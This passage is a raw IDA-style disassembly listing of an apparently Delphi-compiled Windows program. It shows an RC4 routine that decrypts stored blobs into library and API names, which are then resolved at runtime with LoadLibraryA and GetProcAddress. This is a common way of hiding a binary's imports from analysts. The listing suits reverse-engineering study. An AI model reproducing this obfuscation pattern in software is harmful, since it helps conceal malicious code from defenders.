======================================= sub_138CC proc near ; DATA XREF: CODE:000150BCo sub ds:dword_175A4, 1 jnb locret_1399E mov ds:byte_16008, 2 mov ds:dword_17010, offset RaiseException mov ds:dword_17014, offset RtlUnwind mov ds:byte_17036, 2 mov ds:dword_17000, offset sub_1370C call sub_12C24 test al, al jz short loc_13913 call sub_12C54 loc_13913: ; CODE XREF: sub_138CC+40j call sub_12D18 mov ds:word_1703C, 0D7B0h mov ds:word_17208, 0D7B0h mov ds:word_173D4, 0D7B0h call GetCommandLineA ; GetCommandLineA mov ds:dword_1702C, eax call sub_11098 mov ds:dword_17028, eax call GetVersion ; GetVersion and eax, 80000000h cmp eax, 80000000h jz short loc_13985 call GetVersion ; GetVersion and eax, 0FFh cmp ax, 4 jbe short loc_13974 mov ds:dword_175A8, 3 jmp short loc_13994 ; --------------------------------------------------------------------------- loc_13974: ; CODE XREF: sub_138CC+9Aj call GetThreadLocale ; GetThreadLocale call sub_13804 mov ds:dword_175A8, eax jmp short loc_13994 ; --------------------------------------------------------------------------- loc_13985: ; CODE XREF: sub_138CC+8Aj call GetThreadLocale ; GetThreadLocale call sub_13804 mov ds:dword_175A8, eax loc_13994: ; CODE XREF: sub_138CC+A6j ; sub_138CC+B7j call GetCurrentThreadId ; GetCurrentThreadId mov ds:dword_17020, eax locret_1399E: ; CODE XREF: sub_138CC+7j retn sub_138CC endp ; --------------------------------------------------------------------------- align 10h ; [00000006 BYTES: COLLAPSED FUNCTION GetModuleHandleA. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION LocalAlloc_0. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION TlsGetValue. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION TlsSetValue. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= sub_139C0 proc near ; CODE XREF: sub_139D4+21p push eax ; uBytes push 40h ; uFlags call LocalAlloc_0 retn sub_139C0 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_139CC proc near ; CODE XREF: sub_139D4+1p mov eax, 8 retn sub_139CC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_139D4 proc near ; CODE XREF: sub_13A18:loc_13A32p push ebx call sub_139CC mov ebx, eax test ebx, ebx jz short loc_13A16 cmp ds:TlsIndex, 0FFFFFFFFh jnz short loc_139F3 mov eax, 0E2h call sub_134CC ; --------------------------------------------------------------------------- loc_139F3: ; CODE XREF: sub_139D4+13j mov eax, ebx call sub_139C0 test eax, eax jnz short loc_13A0A mov eax, 0E2h call sub_134CC ; --------------------------------------------------------------------------- jmp short loc_13A16 ; --------------------------------------------------------------------------- loc_13A0A: ; CODE XREF: sub_139D4+28j push eax ; lpTlsValue mov eax, ds:TlsIndex push eax ; dwTlsIndex call TlsSetValue ; TlsSetValue loc_13A16: ; CODE XREF: sub_139D4+Aj ; sub_139D4+34j pop ebx retn sub_139D4 endp ; =============== S U B R O U T I N E ======================================= sub_13A18 proc near ; CODE XREF: sub_12860+20p ; sub_128B8+3p ... mov cl, ds:byte_1764C mov eax, ds:TlsIndex test cl, cl jnz short loc_13A4D mov edx, large fs:2Ch mov eax, [edx+eax*4] retn ; --------------------------------------------------------------------------- loc_13A32: ; CODE XREF: sub_13A18+3Dj call sub_139D4 mov eax, ds:TlsIndex push eax ; dwTlsIndex call TlsGetValue ; TlsGetValue test eax, eax jz short loc_13A47 retn ; --------------------------------------------------------------------------- loc_13A47: ; CODE XREF: sub_13A18+2Cj mov eax, ds:dword_17658 retn ; --------------------------------------------------------------------------- loc_13A4D: ; CODE XREF: sub_13A18+Dj push eax ; dwTlsIndex call TlsGetValue ; TlsGetValue test eax, eax jz short loc_13A32 retn sub_13A18 endp ; =============== S U B R O U T I N E ======================================= sub_13A58 proc near ; CODE XREF: sub_13A64+2Ep mov eax, offset dword_16088 call sub_13770 retn sub_13A58 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_13A64 proc near ; CODE XREF: CODE:0001512Dp push ebx mov ebx, eax xor eax, eax mov ds:TlsIndex, eax push 0 ; lpModuleName call GetModuleHandleA ; GetModuleHandleA mov ds:dword_17650, eax mov eax, ds:dword_17650 mov ds:dword_1608C, eax xor eax, eax mov ds:dword_16090, eax xor eax, eax mov ds:dword_16094, eax call sub_13A58 mov edx, offset dword_16088 mov eax, ebx call sub_13288 pop ebx retn sub_13A64 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_13AA8 proc near ; DATA XREF: CODE:000150B8o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_13ACD push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_17654 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_13AD4 loc_13ACC: ; CODE XREF: sub_13AA8+2Aj retn ; --------------------------------------------------------------------------- loc_13ACD: ; DATA XREF: sub_13AA8+6o jmp loc_12F4C ; --------------------------------------------------------------------------- jmp short loc_13ACC ; --------------------------------------------------------------------------- loc_13AD4: ; CODE XREF: sub_13AA8:loc_13ACCj ; DATA XREF: sub_13AA8+1Fo pop ebp retn sub_13AA8 endp ; --------------------------------------------------------------------------- align 4 loc_13AD8: ; DATA XREF: CODE:off_150B4o sub ds:dword_17654, 1 retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_13AE0 proc near ; DATA XREF: CODE:000150C8o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_13B05 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_1765C xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_13B0C loc_13B04: ; CODE XREF: sub_13AE0+2Aj retn ; --------------------------------------------------------------------------- loc_13B05: ; DATA XREF: sub_13AE0+6o jmp loc_12F4C ; --------------------------------------------------------------------------- jmp short loc_13B04 ; --------------------------------------------------------------------------- loc_13B0C: ; CODE XREF: sub_13AE0:loc_13B04j ; DATA XREF: sub_13AE0+1Fo pop ebp retn sub_13AE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_13B10 proc near ; DATA XREF: CODE:000150C4o sub ds:dword_1765C, 1 retn sub_13B10 endp ; [00000006 BYTES: COLLAPSED FUNCTION FreeLibrary_0. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION GetLastError. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION GetProcAddress. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000006 BYTES: COLLAPSED FUNCTION LoadLibraryA. PRESS KEYPAD "+" TO EXPAND] align 4 ; [00000006 BYTES: COLLAPSED FUNCTION SetHandleInformation. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_13B40 proc near ; DATA XREF: CODE:000150D0o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_13B65 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_17660 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_13B6C loc_13B64: ; CODE XREF: sub_13B40+2Aj retn ; --------------------------------------------------------------------------- loc_13B65: ; DATA XREF: sub_13B40+6o jmp loc_12F4C ; --------------------------------------------------------------------------- jmp short loc_13B64 ; --------------------------------------------------------------------------- loc_13B6C: ; CODE XREF: sub_13B40:loc_13B64j ; DATA XREF: sub_13B40+1Fo pop ebp retn sub_13B40 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_13B70 proc near ; DATA XREF: CODE:000150CCo sub ds:dword_17660, 1 retn sub_13B70 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_13B78 proc near ; CODE XREF: sub_13D74+1Bp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_A = byte ptr -0Ah var_9 = byte ptr -9 var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFECh mov [ebp+var_8], edx mov [ebp+var_4], eax mov eax, [ebp+var_8] call sub_135F4 mov [ebp+var_14], eax mov eax, [ebp+var_4] mov byte ptr [eax+100h], 0 mov eax, [ebp+var_4] mov byte ptr [eax+101h], 0 mov [ebp+var_A], 0 loc_13BA7: ; CODE XREF: sub_13B78+44j xor eax, eax mov al, [ebp+var_A] mov edx, [ebp+var_4] mov cl, [ebp+var_A] mov [edx+eax], cl inc [ebp+var_A] cmp [ebp+var_A], 0 jnz short loc_13BA7 mov [ebp+var_9], 0 xor eax, eax mov [ebp+var_10], eax mov [ebp+var_A], 0 loc_13BCB: ; CODE XREF: sub_13B78+C7j mov eax, [ebp+var_10] cmp eax, [ebp+var_14] jge short loc_13BE1 mov eax, [ebp+var_8] mov edx, [ebp+var_10] mov al, [eax+edx] mov [ebp+var_C], al jmp short loc_13BE5 ; --------------------------------------------------------------------------- loc_13BE1: ; CODE XREF: sub_13B78+59j mov [ebp+var_C], 0 loc_13BE5: ; CODE XREF: sub_13B78+67j inc [ebp+var_10] mov eax, [ebp+var_10] cmp eax, [ebp+var_14] jl short loc_13BF5 xor eax, eax mov [ebp+var_10], eax loc_13BF5: ; CODE XREF: sub_13B78+76j xor eax, eax mov al, [ebp+var_A] mov edx, [ebp+var_4] mov al, [edx+eax] add al, [ebp+var_C] add [ebp+var_9], al xor eax, eax mov al, [ebp+var_A] mov edx, [ebp+var_4] mov al, [edx+eax] mov [ebp+var_B], al xor eax, eax mov al, [ebp+var_9] mov edx, [ebp+var_4] mov al, [edx+eax] xor edx, edx mov dl, [ebp+var_A] mov ecx, [ebp+var_4] mov [ecx+edx], al xor eax, eax mov al, [ebp+var_9] mov edx, [ebp+var_4] mov cl, [ebp+var_B] mov [edx+eax], cl inc [ebp+var_A] cmp [ebp+var_A], 0 jnz short loc_13BCB mov esp, ebp pop ebp retn sub_13B78 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_13C48 proc near ; CODE XREF: sub_13D74+52p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] xor ecx, ecx mov edx, 102h call sub_12B28 pop ecx pop ebp retn sub_13C48 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_13C64 proc near ; CODE XREF: sub_13D28+40p var_18 = dword ptr -18h var_11 = byte ptr -11h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFE8h mov [ebp+var_C], ecx mov [ebp+var_8], edx mov [ebp+var_4], eax mov eax, [ebp+arg_0] dec eax test eax, eax jl loc_13D21 inc eax mov [ebp+var_18], eax mov [ebp+var_10], 0 loc_13C8A: ; CODE XREF: sub_13C64+B7j mov eax, [ebp+var_4] inc byte ptr [eax+100h] mov eax, [ebp+var_4] movzx eax, byte ptr [eax+100h] mov edx, [ebp+var_4] mov al, [edx+eax] mov [ebp+var_11], al mov eax, [ebp+var_4] mov dl, [ebp+var_11] add [eax+101h], dl mov eax, [ebp+var_4] movzx eax, byte ptr [eax+101h] mov edx, [ebp+var_4] mov al, [edx+eax] mov edx, [ebp+var_4] movzx edx, byte ptr [edx+100h] mov ecx, [ebp+var_4] mov [ecx+edx], al mov eax, [ebp+var_4] movzx eax, byte ptr [eax+101h] mov edx, [ebp+var_4] mov cl, [ebp+var_11] mov [edx+eax], cl mov eax, [ebp+var_4] movzx eax, byte ptr [eax+100h] mov edx, [ebp+var_4] mov al, [edx+eax] add [ebp+var_11], al mov eax, [ebp+var_8] mov edx, [ebp+var_10] mov al, [eax+edx] xor edx, edx mov dl, [ebp+var_11] mov ecx, [ebp+var_4] xor al, [ecx+edx] mov edx, [ebp+var_C] mov ecx, [ebp+var_10] mov [edx+ecx], al inc [ebp+var_10] dec [ebp+var_18] jnz loc_13C8A loc_13D21: ; CODE XREF: sub_13C64+15j mov esp, ebp pop ebp retn 4 sub_13C64 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_13D28 proc near ; CODE XREF: sub_13D74+3Ap var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFF0h mov [ebp+var_C], ecx mov [ebp+var_8], edx mov [ebp+var_4], eax mov eax, [ebp+var_8] call sub_135F4 mov [ebp+var_10], eax mov eax, [ebp+var_C] mov edx, [ebp+var_10] call sub_136A8 mov eax, [ebp+var_10] push eax mov eax, [ebp+var_C] call sub_136A0 push eax mov eax, [ebp+var_8] call sub_13650 mov edx, eax mov eax, [ebp+var_4] pop ecx call sub_13C64 mov esp, ebp pop ebp retn sub_13D28 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_13D74 proc near ; CODE XREF: sub_13F18+30p ; sub_13F18+59p ... var_10E = byte ptr -10Eh var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFEF0h mov [ebp+var_C], ecx mov [ebp+var_8], edx mov [ebp+var_4], eax lea eax, [ebp+var_10E] mov edx, [ebp+var_8] call sub_13B78 xor eax, eax push ebp push offset loc_13DCC push dword ptr fs:[eax] mov fs:[eax], esp mov ecx, [ebp+var_C] lea eax, [ebp+var_10E] mov edx, [ebp+var_4] call sub_13D28 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_13DD3 loc_13DC0: ; CODE XREF: sub_13D74+5Dj lea eax, [ebp+var_10E] call sub_13C48 retn ; --------------------------------------------------------------------------- loc_13DCC: ; DATA XREF: sub_13D74+23o jmp loc_12F4C ; --------------------------------------------------------------------------- jmp short loc_13DC0 ; --------------------------------------------------------------------------- loc_13DD3: ; CODE XREF: sub_13D74+57j ; DATA XREF: sub_13D74+47o mov esp, ebp pop ebp retn sub_13D74 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_13DD8 proc near ; DATA XREF: CODE:000150D8o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_13DFD push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_17664 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_13E04 loc_13DFC: ; CODE XREF: sub_13DD8+2Aj retn ; --------------------------------------------------------------------------- loc_13DFD: ; DATA XREF: sub_13DD8+6o jmp loc_12F4C ; --------------------------------------------------------------------------- jmp short loc_13DFC ; --------------------------------------------------------------------------- loc_13E04: ; CODE XREF: sub_13DD8:loc_13DFCj ; DATA XREF: sub_13DD8+1Fo pop ebp retn sub_13DD8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_13E08 proc near ; DATA XREF: CODE:000150D4o sub ds:dword_17664, 1 retn sub_13E08 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_13E10 proc near ; DATA XREF: CODE:000150E0o push ebp mov ebp, esp xor eax, eax push ebp push offset loc_13E35 push dword ptr fs:[eax] mov fs:[eax], esp inc ds:dword_17668 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_13E3C loc_13E34: ; CODE XREF: sub_13E10+2Aj retn ; --------------------------------------------------------------------------- loc_13E35: ; DATA XREF: sub_13E10+6o jmp loc_12F4C ; --------------------------------------------------------------------------- jmp short loc_13E34 ; --------------------------------------------------------------------------- loc_13E3C: ; CODE XREF: sub_13E10:loc_13E34j ; DATA XREF: sub_13E10+1Fo pop ebp retn sub_13E10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_13E40 proc near ; DATA XREF: CODE:000150DCo sub ds:dword_17668, 1 retn sub_13E40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_13E48 proc near ; CODE XREF: sub_13EE0+Fp var_18 = dword ptr -18h var_14 = dword ptr -14h var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp add esp, 0FFFFFFE8h xor ecx, ecx mov [ebp+var_18], ecx mov [ebp+var_8], edx mov [ebp+var_4], eax mov eax, [ebp+var_4] call sub_13640 xor eax, eax push ebp push offset loc_13ED2 push dword ptr fs:[eax] mov fs:[eax], esp mov eax, [ebp+var_4] call sub_135F4 test eax, eax jle short loc_13EB4 mov [ebp+var_14], eax mov [ebp+var_C], 1 loc_13E85: ; CODE XREF: sub_13E48+6Aj mov eax, [ebp+var_4] mov edx, [ebp+var_C] mov al, [eax+edx-1] mov [ebp+var_D], al lea eax, [ebp+var_18] mov dl, [ebp+var_D] dec edx call sub_135CC mov edx, [ebp+var_18] mov eax, [ebp+var_8] call sub_135FC mov eax, [ebp+var_8] inc [ebp+var_C] dec [ebp+var_14] jnz short loc_13E85 loc_13EB4: ; CODE XREF: sub_13E48+31j xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_13ED9 loc_13EC1: ; CODE XREF: sub_13E48+8Fj lea eax, [ebp+var_18] call sub_134D8 lea eax, [ebp+var_4] call sub_134D8 retn ; --------------------------------------------------------------------------- loc_13ED2: ; DATA XREF: sub_13E48+1Co jmp loc_12F4C ; --------------------------------------------------------------------------- jmp short loc_13EC1 ; --------------------------------------------------------------------------- loc_13ED9: ; CODE XREF: sub_13E48+89j ; DATA XREF: sub_13E48+74o mov esp, ebp pop ebp retn sub_13E48 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_13EE0 proc near ; CODE XREF: sub_13F18+20p ; sub_13F18+49p ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], eax mov edx, [ebp+var_4] mov eax, offset dword_13F00 call sub_13E48 pop ecx pop ebp retn sub_13EE0 endp ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 14h dword_13F00 dd 7F585D70h, 257A5D36h, 7B7A2E27h, 65705834h, 4A503D35h ; DATA XREF: sub_13EE0+Ao dd 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_13F18 proc near ; CODE XREF: CODE:00015163p var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 hModule = dword ptr -4 push ebp mov ebp, esp mov ecx, 0Fh loc_13F20: ; CODE XREF: sub_13F18+Dj push 0 push 0 dec ecx jnz short loc_13F20 xor eax, eax push ebp push offset loc_141EB push dword ptr fs:[eax] mov fs:[eax], esp lea eax, [ebp+var_10] call sub_13EE0 mov edx, [ebp+var_10] lea ecx, [ebp+var_C] mov eax, offset dword_14200 call sub_13D74 mov eax, [ebp+var_C] call sub_13650 push eax ; lpLibFileName call LoadLibraryA ; LoadLibraryA mov [ebp+hModule], eax lea eax, [ebp+var_18] call sub_13EE0 mov edx, [ebp+var_18] lea ecx, [ebp+var_14] mov eax, offset dword_14218 call sub_13D74 mov eax, [ebp+var_14] call sub_13650 push eax ; lpLibFileName call LoadLibraryA ; LoadLibraryA mov [ebp+var_8], eax lea eax, [ebp+var_20] call sub_13EE0 mov edx, [ebp+var_20] lea ecx, [ebp+var_1C] mov eax, offset dword_14230 call sub_13D74 mov eax, [ebp+var_1C] call sub_13650 push eax ; lpProcName mov eax, [ebp+hModule] push eax ; hModule call GetProcAddress ; GetProcAddress mov ds:dword_17688, eax lea eax, [ebp+var_28] call sub_13EE0 mov edx, [ebp+var_28] lea ecx, [ebp+var_24] mov eax, offset dword_14248 call sub_13D74 mov eax, [ebp+var_24] call sub_13650 push eax mov eax, [ebp+hModule] push eax call ds:dword_17688 mov ds:dword_17694, eax lea eax, [ebp+var_30] call sub_13EE0 mov edx, [ebp+var_30] lea ecx, [ebp+var_2C] mov eax, offset dword_14260 call sub_13D74 mov eax, [ebp+var_2C] call sub_13650 push eax mov eax, [ebp+hModule] push eax call ds:dword_17688 mov ds:dword_17698, eax lea eax, [ebp+var_38] call sub_13EE0 mov edx, [ebp+var_38] lea ecx, [ebp+var_34] mov eax, offset dword_14278 call sub_13D74 mov eax, [ebp+var_34] call sub_13650 push eax mov eax, [ebp+hModule] push eax call ds:dword_17688 mov ds:dword_1769C, eax lea eax, [ebp+var_40] call sub_13EE0 mov edx, [ebp+var_40] lea ecx, [ebp+var_3C] mov eax, offset dword_14290 call sub_13D74 mov eax, [ebp+var_3C] call sub_13650 push eax mov eax, [ebp+hModule] push eax call ds:dword_17688 mov ds:dword_176A0, eax lea eax, [ebp+var_48] call sub_13EE0 mov edx, [ebp+var_48] lea ecx, [ebp+var_44] mov eax, offset dword_142A8 call sub_13D74 mov eax, [ebp+var_44] call sub_13650 push eax mov eax, [ebp+hModule] push eax call ds:dword_17688 mov ds:dword_176B4, eax lea eax, [ebp+var_50] call sub_13EE0 mov edx, [ebp+var_50] lea ecx, [ebp+var_4C] mov eax, offset dword_142BC call sub_13D74 mov eax, [ebp+var_4C] call sub_13650 push eax mov eax, [ebp+hModule] push eax call ds:dword_17688 mov ds:dword_176B0, eax lea eax, [ebp+var_58] call sub_13EE0 mov edx, [ebp+var_58] lea ecx, [ebp+var_54] mov eax, offset dword_142D4 call sub_13D74 mov eax, [ebp+var_54] call sub_13650 push eax mov eax, [ebp+hModule] push eax call ds:dword_17688 mov ds:dword_176A8, eax lea eax, [ebp+var_60] call sub_13EE0 mov edx, [ebp+var_60] lea ecx, [ebp+var_5C] mov eax, offset dword_142E8 call sub_13D74 mov eax, [ebp+var_5C] call sub_13650 push eax mov eax, [ebp+hModule] push eax call ds:dword_17688 mov ds:dword_176B8, eax lea eax, [ebp+var_68] call sub_13EE0 mov edx, [ebp+var_68] lea ecx, [ebp+var_64] mov eax, offset dword_14304 call sub_13D74 mov eax, [ebp+var_64] call sub_13650 push eax mov eax, [ebp+var_8] push eax call ds:dword_17688 mov ds:dword_176BC, eax lea eax, [ebp+var_70] call sub_13EE0 mov edx, [ebp+var_70] lea ecx, [ebp+var_6C] mov eax, offset dword_1431C call sub_13D74 mov eax, [ebp+var_6C] call sub_13650 push eax mov eax, [ebp+var_8] push eax call ds:dword_17688 mov ds:dword_176C4, eax lea eax, [ebp+var_78] call sub_13EE0 mov edx, [ebp+var_78] lea ecx, [ebp+var_74] mov eax, offset dword_14338 call sub_13D74 mov eax, [ebp+var_74] call sub_13650 push eax mov eax, [ebp+hModule] push eax call ds:dword_17688 mov ds:dword_176C0, eax mov eax, [ebp+hModule] push eax call ds:dword_176A8 xor eax, eax pop edx pop ecx pop ecx mov fs:[eax], edx push offset loc_141F2 loc_141DD: ; CODE XREF: sub_13F18+2D8j lea eax, [ebp+var_78] mov edx, 1Ch call sub_134FC retn ; --------------------------------------------------------------------------- loc_141EB: ; DATA XREF: sub_13F18+12o jmp loc_12F4C ; --------------------------------------------------------------------------- jmp short loc_141DD ; --------------------------------------------------------------------------- loc_141F2: ; CODE XREF: sub_13F18+2D2j ; DATA XREF: sub_13F18+2C0o mov esp, ebp pop ebp retn sub_13F18 endp ; --------------------------------------------------------------------------- align 4 dd 0FFFFFFFFh, 0Ch dword_14200 dd 800B2905h, 81D7DC07h, 0AE402AF0h, 0 dd 0FFFFFFFFh, 0Ch dword_14218 dd 8F0F280Fh, 81D7D912h, 0AE402AF0h, 0 dd 0FFFFFFFFh, 0Eh dword_14230 dd 0BE0D2929h, 0F287DF10h, 0A75E2ABAh, 478h, 0FFFFFFFFh ; DATA XREF: sub_13F18+7Do dd 0Dh dword_14248 dd 8A172528h, 0DC97D530h, 0A74F3CABh, 4Ah, 0FFFFFFFFh ; DATA XREF: sub_13F18+ACo dd 0Ch dword_14260 dd 851A2322h, 0DC97D530h, 0A74F3CABh, 0 dd 0FFFFFFFFh, 0Ch dword_14278 dd 8A182322h, 0DC97D530h, 0A74F3CABh, 0 dd 0FFFFFFFFh, 0Eh dword_14290 dd 8B03253Dh, 0D6B6D60Dh, 0B05921ADh, 1268h, 0FFFFFFFFh ; DATA XREF: sub_13F18+13Co dd 0Bh dword_142A8 dd 9A10342Bh, 0D08BC232h, 5F3DBBh, 0FFFFFFFFh, 0Ch ; DATA XREF: sub_13F18+16Co dword_142BC dd 8B1C3E28h, 0DC97D530h, 0A74F3CABh, 0 dd 0FFFFFFFFh, 0Bh dword_142D4 dd 8B1C3E28h, 0C186D92Eh, 553CBFh, 0FFFFFFFFh, 12h ; DATA XREF: sub_13F18+1CCo dword_142E8 dd 0A80D2929h, 0F281DC0Bh, 0AB5E3AAAh, 16BE0269h, 0A0Ah ; DATA XREF: sub_13F18+1FCo dd 0FFFFFFFFh, 0Ch dword_14304 dd 0BB0D2929h, 0FD96D511h, 834923BFh, 0 dd 0FFFFFFFFh, 10h dword_1431C dd 0AD0D2929h, 0C694DD0Dh, 8C5E2BAAh, 32AF1A6Ah, 0 ; DATA XREF: sub_13F18+25Co dd 0FFFFFFFFh, 10h dword_14338 dd 0A30D2929h, 0DF91D40Dh, 0AC4D06BBh, 32AF1B6Fh, 0 ; DATA XREF: sub_13F18+28Co ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_1434C proc near ; CODE XREF: sub_14B48+30p var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 hModule = dword ptr -4 push ebp mov ebp, esp mov ecx, 10h loc_14354: ; CODE XREF: sub_1434C+Dj push 0 push 0 dec ecx jnz short loc_14354 xor eax, eax push ebp push offset loc_14659 push dword ptr fs:[eax] mov fs:[eax], esp lea eax, [ebp+var_10] call sub_13EE0 mov edx, [ebp+var_10] lea ecx, [ebp+var_C] mov eax, offset dword_1466C call sub_13D74 mov eax, [ebp+var_C] call sub_13650 push eax ; lpLibFileName call LoadLibraryA ; LoadLibraryA mov [ebp+hModule], eax lea eax, [ebp+var_18] call sub_13EE0 mov edx, [ebp+var_18] lea ecx, [ebp+var_14] mov eax, offset dword_14684 call sub_13D74 mov eax, [ebp+var_14] call sub_13650 push eax ; lpLibFileName call LoadLibraryA ; LoadLibraryA mov [ebp+var_8], eax lea eax, [ebp+var_20] call sub_13EE0 mov edx, [ebp+var_20] lea ecx, [ebp+var_1C] mov eax, offset dword_14698 call sub_13D74 mov eax, [ebp+var_1C] call sub_13650 push eax ; lpProcName mov eax, [ebp+hModule] push eax ; hModule call GetProcAddress ; GetProcAddress mov ds:dword_17688, eax lea eax, [ebp+var_28] call sub_13EE0 mov edx, [ebp+var_28] lea ecx, [ebp+var_24] mov eax, offset dword_146B0 call sub_13D74 mov eax, [ebp+var_24] call sub_13650 push eax mov eax, [ebp+hModule] push eax call ds:dword_17688 mov ds:dword_1768C, eax lea eax, [ebp+var_30] call sub_13EE0 mov edx, [ebp+var_30] lea ecx, [ebp+var_2C] mov eax, offset dword_146CC call sub_13D74 mov eax, [ebp+var_2C] call sub_13650 push eax mov eax, [ebp+hModule] push eax call ds:dword_17688 mov ds:dword_1766C, eax lea eax, [ebp+var_38] call sub_13EE0 mov edx, [ebp+var_38] lea ecx, [ebp+var_34] mov eax, offset dword_146E4 call sub_13D74 mov eax, [ebp+var_34] call sub_13650 push eax mov eax, [ebp+hModule] push eax call ds:dword_17688 mov ds:dword_17670, eax lea eax, [ebp+var_40] call sub_13EE0 mov edx, [ebp+var_40] lea ecx, [ebp+var_3C] mov eax, offset dword_14700 call sub_13D74 mov eax, [ebp+var_3C] call sub_13650 push eax mov eax, [ebp+hModule] push eax call ds:dword_17688 mov ds:dword_17678, eax lea eax, [ebp+var_48] call sub_13EE0 mov edx, [ebp+var_48] lea ecx, [ebp+var_44] mov eax, offset dword_1471C call sub_13D74 mov eax, [ebp+var_44] call sub_13650 push eax mov eax, [ebp+hModule] push eax call ds:dword_17688 mov ds:dword_1767C, eax lea eax, [ebp+var_50] call sub_13EE0 mov edx, [ebp+var_50] lea ecx, [ebp+var_4C] mov eax, offset dword_14738 call 